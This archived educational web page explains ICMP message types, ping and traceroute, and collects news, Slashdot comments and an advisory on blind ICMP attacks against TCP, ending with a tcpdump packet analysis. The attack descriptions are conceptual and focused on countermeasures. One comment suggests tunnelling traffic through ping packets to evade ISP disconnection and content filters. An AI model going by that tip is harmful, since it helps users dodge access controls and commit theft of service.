Softpanorama
(slightly skeptical) Open Source Software Educational Society

May the source be with you, but remember the KISS principle ;-)

Internet Control Message Protocol
(ICMP)

News	Internet Protocol	Recommended Links	Recommended Papers	Reference
Smurf attack	Ping	Packet generation tools	Humor	Quiz

ICMP must be included in every TCP/IP implementation. ICMP is defined in RFC 792. Essentially ICMP is a communication protocol between IP protocol implementations on two connected systems. Message types that are send include:

Time exceeded message (produced each time TTL is decremented to zero when datagram processed by the router). It often signals presence of routing loops.
Echo messages. Messages that determine status of the other systems (echo request, echo reply),
Routing related messages (destination unreachable, router advertisement, redirect, router solicitation).

It provides feedback to the sender on problems, as well as internet settings such as the subnet mask. ICMP packets are used by user applications, such as ping, to diagnose network problems. Hosts also may generate ICMP packets to report network problems to other hosts on the network.

For ICMP packets the Protocol field in the IP header is equal to one. After the IP header part in the IP packet, there is a variable-length ICMP header:

8	16	32 bits
Type	Code	Checksum
Identifier		Sequence number
Data

ICMP messages are contained within IP datagrams. This ensures the ICMP message will be able to find its way to the appropriate host within an internet. The most frequently used type field are as following:

Type Field - Message Type:

0 - Echo Reply (used by ping)3 - Destination Unreachable 4 - Source Quence 5 - Redirect 8 - Echo Request (used by ping) 11 - Time Exceeded for a Datagram 12 - Parameter Problem on a Datagram 13 - Timestamp Request 14 - Timestamp Reply 15 - Information Request 16 - Information Reply 17 - Address Mask Request (used to request netmask by the host in VLSM environment) 18 - Address Mask Reply (used to provide netmask to the host in VLSM environment)

The most frequently used ICMP messages are the ECHO REQUEST and ECHO REPLY. Famous ping utility uses these messages to test connectivity with a remote host. The frames include the ICMP messages 'Echo Request' (type 8) and ECHO REPLY. The latter is sent when the host receives "ping". It replies with an ICMP echo reply message (type 0 ICMP packet). Time interval between sending Echo Request and getting Echo Reply is used to determine the round-trip time of the ICMP packet between the source and destination hosts and is printed by ping after echo echo reply. In both types of messages (type 8 'Echo Request' and type 0 'Echo Reply'.) code field is zero. In other messages code field is used to determine operation performed .

The other two are the REDIRECT and SOURCE QUENCH messages.

The REDIRECT message is sent by a gateway to the host instructing the host to use a different route when the router detects that its route is not as optimal as that of another router. In the [tcp_xif] section there is the defaultgateway0 parameter. The defaultgateway0 parameter instructs IP which gateway to send the IP datagram when it needs to be delivered to a different subnet. If the gateway detects a better route for the IP datagram, it will send the host the REDIRECT message with the prefered gateway. LM TCP/IP will then use this new IP address to send all traffic for another subnet. Redirect message uses the codes in the following way:

      0 = Redirect datagrams for the Network.

      1 = Redirect datagrams for the Host.

      2 = Redirect datagrams for the Type of Service and Network.

      3 = Redirect datagrams for the Type of Service and Host.

The SOURCE QUENCH message informs the host that the gateway cannot keep up with the traffic and requests the host to throttle back. The host lowers the rate at which it sends datagrams to the host until it stops receiving SOURCE QUENCH messages, at which time it gradually increases sending datagrams to the normal amount.

Finally, we can add any optional data if we so desire. The data added will be echoed back to us so that we can check the reliability of the line. The optional data should not exceed 64 KB (the upper limit specified in the ICMP RFC). Attempt to exploit the flow in handling very long ICMP packets is known as the Ping of Death. In some implementation including Windows stack implementation it used to cause blue screen of death.

ICMP-based tools

Common ICMP-based tools, such as ping and traceroute, send probe packets to a host, and measure loss by observing whether or not response packets arrive within some time period. There are two principle problems with this approach:

Loss asymmetry. The packet loss rate on the forward path to a particular host is frequently quite different from the packet loss rate on the reverse path from that host. Without any additional information from the receiver, it is impossible for an ICMP-based tool to determine if its probe packet was lost or if the response was lost. Consequently, the loss rate reported by such tools is really:
Where loss_fwd is the loss rate the forward direction and loss_rev is the loss rate in the reverse direction. Loss asymmetry is important, because for many protocols the relative importance of packets flowing in each direction is different. In TCP, for example, losses of acknowledgment packets are tolerated far better than losses of data packets. Similarly, for many streaming media protocols, packet losses in the opposite direction from the data stream have little or no impact on overall performance. The ability to measure loss asymmetry allows a network engineering to more precisely locate important network bottlenecks.
ICMP filtering. ICMP-based tools rely on the near-universal deployment of the ICMP Echo or ICMP Time Exceeded services to coerce response packets from a host [Bra89]. Unfortunately, malicious use of ICMP services has led to mechanisms that restrict the efficacy of these tools. Several host operating systems (e.g. Solaris) now limit the rate of ICMP responses, thereby artificially inflating the packet loss rate reported by ping. For the same reasons many networks (e.g. microsoft.com) filter ICMP packets altogether. Some firewalls and load balancers respond to ICMP requests on behalf of the hosts they represent, a practice we call ICMP spoofing, thereby precluding real end-to-end measurements.

Finally, at least one network has started to rate limit all ICMP traffic traversing it. It is increasingly clear that ICMP's future usefulness as a measurement protocol will be reduced [Rap98].

Ping

Ping send ICMP packets with the type 8 ('Echo Request') to the target host. This means we're asking the the target to send us back the Echo reply packet.

While generating the reply, the computer will simply swap the source and destination IP addresses in the IP header and replace the 8 in the ICMP Type Field with a 0 (for Echo Reply). It'll then slap in the optional data it's received (if any) and recalculate all the checksums. The reply will then be shot back to us.

When we receive the packet, we store the time and compare that with the time the Echo Request was sent. In this way we can calculate the round trip time of the packet. We can also check the data for changes and gauge the dependability of the link

Traceroute

The traceroute utility is very similar to ping. It is sending a series of ping packets starting with Time To Live (TTL) equal one and increasing value of TTL by one for each subsequent packet. TTL field is decremented by one each time the packet passes the router. If it becomes zero, router does not sent the packet further. Instead it send back "Time Exceeded" ICMP message (type 11).

It is each to see the first packet send will reach only the first router on the way to the target and this router will return "Time Exceeded" ICMP message, from which its IP address can be identified. The second packet will be blocked on the second router and this way we will know which router got it next. And so on.

Traceroute stops is it got a regular "Echo reply" packet.

Notes:

This is a Spartan WHYFF (We Help You For Free) site written by people for whom English is not a native language. Some amount of grammar and spelling errors should be expected.
The site contain some broken links as it develops like a living tree... Please try to use Google, Open directory, etc. to find a replacement link (see HOWTO search the WEB for details). We would appreciate if you can mail us a correct link.

Google Search
Open directory	Research Index

Old News ;-)

[July 6, 2005] Feature OpenBSD Hackathon 2005, Part III

One new attendee of this year's OpenBSD hackathon was Fernando Gont, a diverse individual from Argentina whose current job titles include teacher, technical writer, system administrator and network researcher. His presence at the hackathon was the result of an internet-draft he wrote about some flaws in the ICMP protocol, flaws he discovered while writing the "Security Considerations" of a different internet-draft titled "TCP's reaction to soft errors" for the IPv6 Operations working group. In researching that earlier draft, he considered various attacks against TCP using ICMP error messages, and proposed some extra validation that could be done as prevention. Following up, Fernando reviewed the IETF specifications for ICMP and TCP and was surprised to discover that they didn't propose similar validation checks, ultimately deciding to write his latest internet-draft highlighting the security impact.
Fernando was interested in discussing the ideas with his peers, but was concerned about vendors trying to patent his suggested fixes. He'd read some comments by OpenBSD creator Theo de Raadt [interview] which led him to believe that he could safely talk with Theo about his ICMP discoveries. Theo was impressed by the ideas, and as Fernando was already heading to BSDCan, Theo helped arrange for him to stay in Canada longer to attend CanSecWest and the OpenBSD hackathon. At the hackathon, Fernando worked around the clock to implement some of his suggested fixes into the OpenBSD networking stack, during which time I spoke with him.

The ICMP flaw is in the design of the protocol, not in any specific implementation. Theo explains, "here we have a 20 year old protocol, a part of the Internet infrastructure that hasn't been touched in 10 years and we were all sure was right, and now is cast in doubt." He went on to add, "these things have to be done carefully. We can't ignore the problem, which is what the IETF and the other vendors are telling us to do."
Three Blind ICMP Attacks:
Fernando stressed that the issues in ICMP are with the specification itself, "this makes the problem more important because it affects everyone, not just one implementation from a programmer mistake." He goes on to point out that the problem won't truly be fixed until the IETF specification themselves are fixed, as it is from these specifications that vendors implement their systems. "Most vendors have, are, or will be implementing the recommended counter-measures in the near future," Fernando acknowledges, "however, vendors have not bothered to participate in the relevant IETF working group to update the existing specifications." Thus Fernando is concerned that future implementations will continue to be made following these outdated and now known-to-be-flawed specifications.
All three ICMP flaws can be exploited without sniffing network traffic, and do not require a "man in the middle". Unlike the earlier "slipping in the window" TCP reset attack [story], these ICMP-based TCP attacks don't require an attacker to guess a correct TCP sequence number, making it simpler to disrupt network traffic. As a brief overview, the three flaws are:

Blind connection reset attack: an attacker can generate a "hard" ICMP error to remotely tear down an existing connection.

Blind throughput reduction: an attacker can generate ICMP errors that repeatedly trigger source quenching, thereby reducing the throughput of the connection.

Blind performance degrading attack: an attacker can use ICMP packets to trick Path MTU discovery into reducing the size of each sent packet down to only 68 bytes.

"Hard" ICMP Errors:
The ICMP protocol was first defined in RFC 792, published in September of 1981. Referring to TCP connections, ICMP errors are classified as either "hard" or "soft". A "hard" error results in the TCP connection being torn down, much the same as if a RST packet was received. There are three ICMP type 3 'destination unreachable' errors that are defined in RFC 1122 as hard errors. Code 2, 'protocol unreachable', code 3, 'port unreachable', and possibly code 4, 'fragmentation needed and don't fragment bit set' are all hard errors that if received can cause a TCP stack to tear down an existing connection. (Code 4 is only a 'hard' error if Path MTU discovery is not implemented.)

Other ICMP errors are considered "soft" errors. "Soft" errors are reported to the application affected, but the connection continues. Fernando's solution for the "hard" ICMP error flaw is to simply treat them like "soft" ICMP errors. "If treated that way," he said, "the stack becomes immune to the problem." As to why the ICMP stack was designed this way in the first place, "the basic idea of hard errors was to avoid keeping TCP connections from retrying and retrying lots of times," Fernando explained. "Maybe it made sense many years ago when you didn't have the processing power you have now, but these days there is no problem with just letting the TCP connection eventually timeout when there is a legitimate network problem."

Source Quenching:
ICMP type 4 code 0 packets are defined as "source quench" messages. When a router between two endpoints or the remote endpoint itself begins to run out of buffer space for processing incoming packets, it can send a source quench ICMP packet to the endpoint from where the traffic originated. As defined in RFC 792, when an endpoint receives a source quench packet it should slow the rate at which it is sending out packets. After ten minutes, the endpoint should gradually increase the rate at which it's sending packets up to the original rate.

Fernando's paper points out that source quench messages can also be abused. If the messages are spoofed at a high enough rate, a TCP connection can be slowed to a crawl. "While this would not reset the connection," Fernando explained, "it would certainly degrade the performance of the data transfer taking place." Fortunately the solution is simple he goes on to explain, "you can just completely disable ICMP source quenching for TCP because the TCP protocol has its own handling for these conditions, and routers, as specified by RFC 1812, should not be sending source quench packets either."

Path MTU Discovery
IP sessions are composed of many packets. The largest size of each of these packets is known as the maximum transmission unit, or MTU, and ideally it's sized for maximum throughput. If packets are too large, there's extra overhead for routers in between the endpoints that have to break the large packets into smaller fragments, and again overhead for the final endpoint that has to reassemble the fragments back into the original packets. If packets are too small, there's extra overhead creating and processing all the additional smaller packets. Additional research into the potential problems of fragmentation can be found in the 1987 paper "Fragmentation considered harmful" and the more recent "Fragmentation considered very harmful" from 2004. Thus, it's important to configure your endpoints to use an appropriate MTU, usually the maximum packet size that doesn't require fragmentation.

Path MTU Discovery is defined in RFC 1191, and is a technique using ICMP packets to dynamically discover the maximum transmission unit of an arbitrary internet path. Essentially PMTU works by beginning with sending large packets with the "don't fragment" bit set in the IP header. The "don't fragment" bit tells routers along the way that the data payload of the packet shouldn't be broken into smaller pieces. If a router receives the packet and finds it is too big to forward, it will drop the packet and reply to the original host with an ICMP error stating "packet too large and don't fragment bit set". Additionally, RFC 1191 defines the use of a header field to specify the MTU of the hop that generated the ICMP error. The originating host lowers the size of the packet to this MTU and tries again. The process continues until the packet successfully reaches the destination endpoint. In this way, the host is able to discover the best possible MTU for the current internet path.

In Fernando's 3'rd ICMP attack, ICMP error packets are spoofed saying "packet too large and don't fragment bit set", causing the endpoint to reduce the size of its packet to a smaller than optimal size, as small as 68 bytes. RFC 1812 specifies that once a system has reduced the Path MTU, it will leave it at the reduced size for ten minutes before it tries increasing it again, thus a sustained attack only requires the sending of one packet every ten minutes. With the increased number of smaller packets, the interrupt rate increases on both the client and the server, degrading the performance of both systems. One of the most susceptible systems to this type of attack are BGP routers, which require maintaining long TCP sessions with high data throughput. As this doesn't cause the session to abort, it's much more difficult to detect and can result in very slow data transmissions.

The solution for this third attack is more complex than for the earlier types of attacks. Essentially, Fernando's solution is to delay the processing of the ICMP error messages. Instead of immediately reducing the MTU when a "packet too large and don't fragment bit" ICMP error is received, the system can simply remember that it received the packet and wait for an appropriate amount of time before acting on it. The appropriate amount of time depends on the network and is thus dynamically calculated, but essentially it is the average amount of time taken for a packet to make a round trip between the two endpoints, multiplied by a factor. If during that time you receive a delivery acknowledgment for the same packet that you also received an ICMP error, you know that the ICMP error wasn't real and thus can safely be ignored. Alternatively, if after that amount of time no acknowledgment is received then you can act appropriately on the ICMP error, reducing the MTU.

Additional generic countermeasure:
In addition to the first two countermeasures mentioned above, and inherently part of the third countermeasure, it is also possible to generically defend against ICMP attacks on TCP sessions by verifying the TCP sequence number of the packet contained within an ICMP error. This works because all ICMP error packets are required to contain the IP header and at least 8 more bytes of the packet that caused the error in the first place. In the case of TCP packets, these 8 bytes include the TCP sequence number, and thus this sequence number can be compared against the active session that generated the packet. If the sequence number is not within the sequence number window [story], the ICMP error is obviously not real and can be safely ignored. Evidently many vendors did not provide even this amount of prevention, which is why the ICMP issues described in Fernando's paper are so easy to exploit. While sequence number validation is a useful preventative measure, it is not enough by itself. Fernando notes, "it may serve as a counter-measure nowadays, but if in the future we begin to use larger windows, we will be facing the same problem again." He points to the earlier discussed counter-measures as the appropriate complete solution to the problem.

Slashdot Examining ICMP Flaws

Re:This is ridiculous! (Score:4, Interesting)
by dcam (615646) on Thursday July 07, @03:37AM (#13000900)
(http://www.uberconcept.com/)

That is only half of it, read the full article for the way cisco behaved:

He continued to reply thoroughly to all their questions, until two months later when he received an email from Cisco's lawyer claiming that Cisco held a patent on his work. He asked their lawyer for specifics, but they refused to reveal any details. ...

Fernando went on to point out that from his experience vendors seem to be more concerned about who gets credit for finding a flaw, rather than about actually fixing it. Fernando explained, "Cisco was worried about not giving me credit because they claimed to have been working on the problem for four years. They offered to set up a meeting with some people of Cisco Argentina to show me documentation that would prove they had been working on the Path MTU Discovery attack for more than a year. It didn't happen. ...

One week prior to the eventual discloser, Fernando received a call from the CTO of Cisco Argentina who asked him for a copy of his resume. "He said he wanted to have a meeting with me, telling me they might have a job for me," Fernando shrugged. "The meeting was delayed a few times, then I never heard from him again. I wouldn't have thought much of it, but I mentioned it to other people and it turns out they'd had similar experiences. It seems this is a common practice for Cisco to offer someone work in the hopes you'll not talk to the media when the security issues are disclosed."

Way to go Cisco!

Interesting ICMP exploit (Score:5, Interesting)
by OverCode@work (196386) <overcode@@@gmail...com> on Wednesday July 06, @09:51PM (#12999593)
(http://overcode.yak.net/)

Often when Internet providers disable your cable/DSL/LAN connection for security or billing reasons, they just block TCP and UDP but leave ICMP available. I've observed Georgia Tech's ResNet to do this, and reportedly Adelphia's cable ISP does the same. You can ping to your heart's content, but can't send data.

Except that you can.

A ping packet (ICMP echo request) can have a completely arbitrary payload. You can put any data you want there. You could even tunnel IP inside it. You would have to have to have a friendly server on the outside to receive these packets and forward the contents, but that's easily done.

This trick might also be useful for tunnelling past content filters. I don't think any of them scan ICMP packets.

I'm writing a simple userspace IP stack (gets packets from the tun/tap interface), and I intend to try this out once it's a bit more mature.

-John

...

Re:Interesting ICMP exploit (Score:5, Informative)
by isometrick (817436) on Wednesday July 06, @10:16PM (#12999690)

Save yourself some trouble, check out PingTunnel [cs.uit.no]. :)

DON'T DO IT! (Score:4, Informative)
by DigiShaman (671371) on Thursday July 07, @02:38AM (#13000743)
(http://www.contoso.com/)

FYI, I'm a Time Warner employee in Austin, TX.

When we disable a modem for non-payment or virus/spam abuse, we do it through rebooting the modem with a new BIN file. Once done, you will not get an IP address. The modem will still have a 10.net address attached to our network to configure. However, it's not accessible so don't bother wasting your time.

Regardless if you could get online through a disabled modem, don't do it. Theft of cable service (including internet service through our cable) is federal crime. So don't even THINK about getting crafty with your connection that has been explicitly disabled for non-payment.

Some facts about this (Score:5, Informative)
by possible (123857) on Wednesday July 06, @09:52PM (#12999595)

Here are some facts about these vulnerabilities in no particular order.

These are blind exploits, meaning you do NOT have to be a man-in-the-middle.

Sequence number checking is not enough. Therefore Linux has not fully fixed these issues yet. Only OpenBSD has fixed them all, and it must be considered the reference implementation for these fixes. TCP window sizes are fairly large these days. You can EASILY exploit this in a few seconds simply by brute forcing into the window.

This is much worse than the TCP reset attacks we read about. Why? Because using these ICMP exploits, you can stall a connection without the application layer ever receiving notification that something is amiss.

Why does this matter? BGP. How do people secure BGP these days? They filter TCP packets with a firewall. Or they use tunnels. Guess what? That doesn't protect you from these vulnerabilities, because they use ICMP. Guess what? Home users with firewalls aside, most ISPs do not (and cannot, if they expect the Internet to work) filter ICMP.

"Responsible disclosure" is incredibly broken these days and it's getting worse. The vendors have hijacked the process. This is at least the 3rd time Cisco has tried to patent somebody else's security work. NISCC and CERT totally blew it. The IETF blew it AGAIN (remember VRRP?) Gont was asked during his presentation "Knowing what you know, how would you handle the disclosure of these issues if you had to do it over." His answer was, he would just write things up and publish them to Bugtraq without notifying anyone ahead of time. And he's not alone. More and more researchers are anonymously publishing things without notifying the vendors, because they don't want to go through this stuff every time they discover an issue.

Re:Some facts about this (Score:1)
by ph0enix (87965) on Wednesday July 06, @10:23PM (#12999725)

This is much worse than the TCP reset attacks we read about. Why? Because using these ICMP exploits, you can stall a connection without the application layer ever receiving notification that something is amiss.

Also TCP MD5 authentication (one of the "official" solutions to the TCP reset attacks) provides no protection against this protocol flaw.

[ Parent ]

Re:Some facts about this (Score:4, Informative)
by graf0z (464763) on Thursday July 07, @05:32AM (#13001161)

These are blind exploits, meaning you do NOT have to be a man-in-the-middle.
If the error receiving system is checking the header of the error generating tcp or udp packet (at least 8 byte have to be contained in the icmp error), the attacker has to guess the source port and - in case if tcp - the tcp sequence number to work blindly.

Sequence number checking is not enough. Therefore Linux has not fully fixed these issues yet. Only OpenBSD has fixed them all, and it must be considered the reference implementation for these fixes. TCP window sizes are fairly large these days. You can EASILY exploit this in a few seconds simply by brute forcing into the window.
Again: you have to guess the source port, too. There are very few tcp protocols with predictable source ports nowadays. So it's not 2^32/windowsize but probably (2^16-1024)*2^32/windowsize. Have fun brute forcing that.

This is much worse than the TCP reset attacks we read about. Why? Because using these ICMP exploits, you can stall a connection without the application layer ever receiving notification that something is amiss.
True: such an attack would feel more like a network problem than like an attack.

Why does this matter? BGP. How do people secure BGP these days? They filter TCP packets with a firewall. Or they use tunnels.
And they secure them by no longer using predictable source ports (many BGP implementations used dest port = source port (179) before).

This issue has to be considered, but as D. Adams said: Don't panic!
/graf0z.

Holy timewarp batman! (Score:3, Insightful)
by NotWulfen (219204) on Wednesday July 06, @10:27PM (#12999737)
(http://www.starshadow.com/~ragnar)

IRC networks have been plagued with ICMP unreachables for years

http://www.rs-labs.com/papers/tacticas/ircutils/pu ke.html [rs-labs.com]

nothing new to see here, move along.

Re:Blind attacks (Score:4, Informative)
by matman (71405) on Thursday July 07, @11:23AM (#13003799)

First, while source quench is pretty blind, it isn't much of an issue - it's ignored for TCP and I'm not sure that it's used for UDP either (if it is, few important services use UDP over the internet).

Path MTU spoofing is really just a variation of the ICMP Unreach spoof attack (same ICMP type). Unreach packets need to "quote" the header of the packet that couldn't be delivered - including source (random 1024-65535) and target port numbers - this allows the sending host to know what connection is being affected. In order for the attacked host to accept a spoofed unreach, the unreach needs to quote the right source IP/port and target IP/port. Most of the time, the source IP, and target IP/port are known but the source port could be one in a few thousand. It used to be that, on modem connections, sending thousands of unreach packets took a few minutes, but now it can be done in seconds or less. Now you can even guess the source IP (drop all connections from a network to a server). Thus, now, the attack is essentially (if not technically) blind since you don't have to find the right combo - you just send all combos.

No ICMP discussion w/out Orfin's papers (Score:2, Interesting)
by papaia (652949) on Wednesday July 06, @11:39PM (#13000115)

There should be absolutely no discussion of ICMP without considering the fundamental research carried out by Orfin Arkin. His work [sys-security.com] should be read by anyone willing to discuss the issue beyond the /. gossiping ... P.S. ... what the heck is going on with the HTML formatted postings?!?

Re:ICMP flaw #1 on Linux: it's in the kernel (Score:4, Informative)
by burns210 (572621) <maburns@gmail.com> on Thursday July 07, @01:43AM (#13000614)
(http://www.mirwin.net/ | Last Journal: Thursday September 09, @01:00AM)

Probably just a typo, but I wanted to clarify a mistype in your post.

ICMP IS a subset of the Internet Protocol(IP). IP, part of TCP/IP, has an error reporting mechanism for when things get screwed up, it is called ICMP. It doesn't sit on top nor beside IP, it sits inside of it, logically speaking.

Both ICMP, which is consider its own entity at times, but is a subset of IP as a whole, and IP are at layer 3. The Networking layer.

TCP and UDP are layer 4.

microkernels(as mentioned in another post) do exactly this: move as much OUT of the kernel as possible, including the networking (TCP/IP) stack. This isn't a bad idea, necesarily, it gives some advantages that microkernels are all about. If your networking stack gets completely destroyed, it doesn't take down your kernel, etc, etc.

monolithic kernels, like Linux(and most OSes, since they are 'easier' and more commonly accepted design) put more things inside the kernel like the networking stack. Not everything, but more things than a microkernel.

All that being said, even in linux, you could still write an userspace TCP/IP stack and use it, AFAIK. Though things like performance would be an issue.

Re:ICMP flaw #1 on Linux: it's in the kernel (Score:5, Insightful)
by Trick (3648) on Wednesday July 06, @09:34PM (#12999522)

How the heck did this get modded insightful?

ICMP runs on a different layer than all of the services you mentioned. ICMP is a network layer protocol (like IP and IPv6, also called "layer 3"), and all the protocols you mentioned are application layer (layer 7) protocols. There's no direct comparison to be made to any of the protocols (HTTP, SMB, FTP and NFS) you mentioned.

If you want to compare having ICMP in the kernel to other sinilar protocols, your best argument (if you can call it that) is that we should have *IP*, another layer 3 protocol, "running as an ordinary user process, not root, and especially not as a kernel process." Obviously, IP *is* included in the kernel, for plenty of good reasons. Comparing ICMP to application-layer protocols like HTTP holds no weight whatsoever, unless you're completely ignorant of network fundamentals.

How it got modded to +5 Insightful baffles me. I'd have thought this crowd would have a better handle on the basics.

Re:ICMP flaw #1 on Linux: it's in the kernel (Score:5, Informative)
by Animats (122034) on Wednesday July 06, @11:12PM (#12999981)
(http://www.animats.com)

Sigh.
As someone who once implemented ICMP (in 1982, before BSD, even), I should say something.

First, ICMP is a layer 3 protocol, like TCP and UDP. ICMP is IP protocol #1; TCP is #6 and UDP is #17.

Second, it's quite feasible to put ICMP in user space. I'm writing this on a QNX system where it's in user space. My 1982 implementation was also in user space, as part of 3COM's UNET. Linux doesn't do it that way, but it's not fundamental that ICMP must be in the kernel. It needs to have a mechanism to pass messages to the other protocols, but that's a local message passing problem. But I'm not going to rehash the ever-growing monolithic kernel issue here.

Third, we knew about many of those vulnerabilities back in the 1980s, but weren't as concerned about them because the Internet was a DoD/NSF operation. Destination Unreachable and Source Quench messages used to be taken more seriously than they are now. Destination Unreachable told you where the network was down, and Source Quench told you where it was congested, basic network management info back then. Today, nobody does network management that way and many TCP stacks don't do much, if anything, with ICMP information. I used to encourage the use of Source Quench for congestion management (see my RFC on this, from 1984) [ietf.org], but it's far less appropriate today. Back then, we were concerned about packet loss through transmission errors, a frequent occurence with leased-line synchronous modems. So, when a packet was lost, the question was whether you should retransmit rapidly (appropriate for an error) or slowly (appropriate for congestion). Source Quench could disambiguate that situation. Today, it's assumed that packets are lost almost entirely through congestion, since the lower levels are of much better quality than they used to be.

[Apr 25, 2005] [PDF] ICMP Attacks against TCP (NISCC-532967)

Advisory Original Release Date: April 25, 2005 Last Revised: April 27, 2005 Number: ASA-2005-076 Risk Level: Medium Advisory Version: 2.0 Advisory Status: InterimOverview:Multiple TCP/IP and ICMP implementations allow remote attackers to cause a denial of service via spoofed ICMP messages. These vulnerabilities are separated into three related but unique issues: (1) Blind TCP connection reset attacks utilizing spoofed ICMP Destination Unreachable messages, (2) Blind throughput-reduction attacks utilizing spoofing ICMP Source Quench messages, and (3) Blind throughput-reduction attacks utilizing spoofed ICMP Path MTU (PMTU) messages. Certain Avaya products are affected by these vulnerabilities.

The CommonVulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0790, CAN-2004-0791, CAN-2004-1060, CAN-2005-0065, CAN-2005-0066, CAN-2005-0067, and CAN-2004-0068 to these issues.

More information about this vulnerability can be found in the following links: http://www.niscc.gov.uk/niscc/docs/re-20050412-00303.pdf?lang=enAs

Re DoS using ICMP Tracebacks

To: glynns@us.ibm.com
Subject: Re: DoS using ICMP Tracebacks
From: Dave Hartzell <hartzell@nic-ks.greatplains.net>
Date: Wed, 23 Aug 2000 15:43:04 -0500 (CDT)
Cc: ietf-itrace@research.att.com
Delivered-To: ietf-itrace@research.att.com
In-Reply-To: <8525693F.0011523D.00@D51MTA03.pok.ibm.com>
Sender: owner-ietf-itrace@research.att.com

On Thu, 17 Aug 2000 glynns@us.ibm.com wrote:

> Given that the Tracebacks could potentially be the only useful ICMP
> messages to permit into a secure router, there seems to be nothing that
> would stop somone using ICMP Tracebacks to stage a DoS flood attack.
> Although this is mentioned briefly in section 4.2 of the Draft, are there
> any plans to reccommend ingress filtering, or even a mechanism of dropping
> of icmp traceback messages by edge routers ?
> 
> Section 4.2 seems to deal with fake or spoofed ICMP tracebacks. The case I
> am considering is where the attacker does not care about spoofing the
> packet, just wants to use it to either stage an attack, which may be more
> successful as it is unlikely that these ICMP would be filtered or rate
> limited anywhere on the backbone due to their positive use.

If someone spoofs the tracebacks, ICMP Traceback enabled routers will
still generate ICMP tracebacks for those spoofed packets, right?  Granted
there will be alot of information to sort through on the receiving end, 
theoretically there will be traceback information delivered to the end.

Sort of a built in protection mechanism!  Maybe a BCP should be suggested
that limits ICMP exiting a customer and entering an ISP?  It would be
great if all ISPs would filter their customer ingress and egress points
stop spoofed packets.

Dave Hartzell

Traffic analysis of weird packets.

One night I encountered some ICMP (For more explanation on ICMP see below) traffic destined for my machine which I really couldnt place. Becomming suspicious over what was going on, I decided to capture these packets with tcpdump. I let tcpdump dump the data link layer and let tcpdump print each packet in hex and in ascii too, to be able to analyse these packets completly.

below is one of these packets dumped by tcpdump. The rest of the ICMP packets I received were all the same kind, same addresses. Therefore analysing just one of these packets is enough to see what's this about in this case. Let's start the analysis in detail:
23:52:35.812013 Dest_Mac_addr Src_Mac_addr 0800 70: xxxx xxxx > yyyy yyyy
: icmp: host zzzz zzzz unreachable - admin prohibited filter (ttl 253
, id 37201)
0x0000   4500 0038 9151 0000 fd01 a6e0 xxxx xxxx        E..8.Q.........V
0x0010   yyyy yyyy 030d 595f 0000 0000 4500 0028        ..}...Y_....E..(
0x0020   dc41 0000 3d06 1b42 yyyy yyyy zzzz zzzz        .A..=..B..}.....
0x0030   0118 a27b 0000 0000
This is the output from tcpdump on one of these packets. The data link layer contains the 48 bits Destination MAC (Media Access Control) address, the 48 bits Source MAC address and the ether type, which is 0800 in this case which indicates IP. To continue this analysis with the hex dump, some knowledge of IPv4 is needed. For the IP (INTERNET PROTOCOL) header, all the information is decribed in RFC 791. RFC stands for Request for Comment which contain the standards for the internet and much more. Section 3.1 from RFC 791 specifies the Internet Header Format which is printed in hex by tcpdump, the length of the IP header is 20 bytes (160 bits):
4500 0038 9151 0000 fd01 a6e0 xxxx xxxx 
yyyy yyyy
4 = Version is 4 (4 bits)
5 = IHL (Internet Header Length) = 5 (4 bits)
00 = 0 (8 bits Type of Service)
0038 = 8 + 48 = 56 (16 bits total length in bytes, so the total length is 56 bytes)
9151 = 1 + 80 + 256 + 36864 = 37201 (16 bits Identification)
0000 = 3 bits flas + 13 bit fragment offset, all 0, so no fragments)
fd = 13 + 240 = 253 (8 bits TTL (Time to Live))
01 = 1 = (8 bits protocol number, 1 = ICMP ( RFC 1700))
a6e0 = 0 + 224 + 1536 + 40960 = 42720 (16 bit hdr checksum)
xxxx xxxx = 32 bits source ip address
yyyy yyyy = 32 bits destination address

RFC 1700 specifies all the Assigned Numbers. So in there you can find which numbers stands for which protocol.

The next bits represent the ICMP part of the packet. ICMP stands for INTERNET CONTROL MESSAGE PROTOCOL and is described in several RFC's. The first one is RFC 792. The second one needed for this packet is RFC 1812 for it describes an ICMP code which is defined later the the types and codes defined in RFC 792.
030d 595f 0000 0000
03 = 3 (8 bits ICMP type, so ICMP type = 3)
0d = 13 + 0 = 13 (8 bits ICMP code, so ICMP code = 13)
595f = 15 + 80 + 2304 + 20480 = 22879 (16 bits checksum)
0000 0000 = 32 bits unused

Next in this kind of ICMP message follows the original IP header and 64 bits of the data of the original packet which was send, which caused machine xxxx xxxx to send the ICMP Destination Unreachable packet as a response to yyyy yyyy, the original sender.
                              4500 0028 
dc41 0000 3d06 1b42 yyyy yyyy zzzz zzzz
The first 16 bits are same as in the first IP header.
0028 = 8 + 32 = 40 (16 bits total length, so the total length is 40 bytes)
dc41 = 1 + 64 + 3072 + 53248 = 56385 (16 bits Identification)
0000 = no fragments
3d = 13 + 48 = 61 (8 bits TTL, so TTL = 61)
06 = 6 + 0 = 6 (8 bits protocol number, number 6 is TCP (RFC 1700))
1b42 = 2 + 64 + 2816 + 4096 = 6978 (16 bits header checksum)
yyyy yyyy is 32 bits source address
zzzz zzzz is 32 bits destination address

Finally,
0118 a27b 0000 0000
represend the 64 bits data header after the IP header, since the protocol is TCP, it means the first 64 bits (8 bytes) of the TCP header:

0118 = 8 + 16 + 256 = 280 (16 bits source port, so source port = 280)
a27b = 11 + 112 + 512 + 40960 = 41595 (16 bits destination port)
0000 0000 = 0 is 32 bits sequence number ...

Now we analysed all the hex output of the packet and we can draw conclusions:

yyyy yyyy received an ICMP type 3 code 13 from xxxx xxxx (since only routers may issue an icmp type 3 code 13, xxxx xxxx is a router) Meaning: Destination Unreachable: "Communication Administratively Prohibited". The TTL in the ICMP message from xxxx xxxx was 253, most likely the TTL which was set by router xxxx xxxx is 255. The fact that the TTL has decreased by 2, means that there are 2 hobs between me and that router. According the data in the ICMP packet yyyy yyyy send out a TCP package from port 280 to zzzz zzzz on port 41595 With sequence number 0. However, on it's way the packet had to pass the router xxxx xxxx which didnt allow traffic to zzzz zzzz on port 41595 and therefore send the discussed ICMP packet as return.

yyyy yyyy received more of these packets with exactly the same IP addresses and source and destination ports. Also other ports came into question in other packets exactly like these. However, every single time the sequence numer was 0, in each of these packets.

